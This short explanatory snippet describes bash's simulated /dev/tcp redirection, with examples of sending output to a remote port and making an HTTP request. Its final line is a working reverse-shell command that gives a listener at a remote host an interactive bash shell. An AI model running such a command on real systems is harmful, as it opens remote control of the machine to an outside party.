It doesn't really exist -- it's simulated by bash only when doing redirections.  They're of the form:
  /dev/tcp/<hostname>/<portnumber>

To send stdout to a TCP connection:
  $ mycomment > /dev/tcp/awesome.com/9999

To get a bidirectional TCP connection in shell script:
  exec 3<>/dev/tcp/www.google.com/80
  echo -e "GET / HTTP/1.1\n\n">&3
  cat <&3
  
To make an interactive bash shell appear for someone listening at awesome.com port 9999:
  bash 0<> /dev/tcp/awesome.com/9999 1>&0 2>&0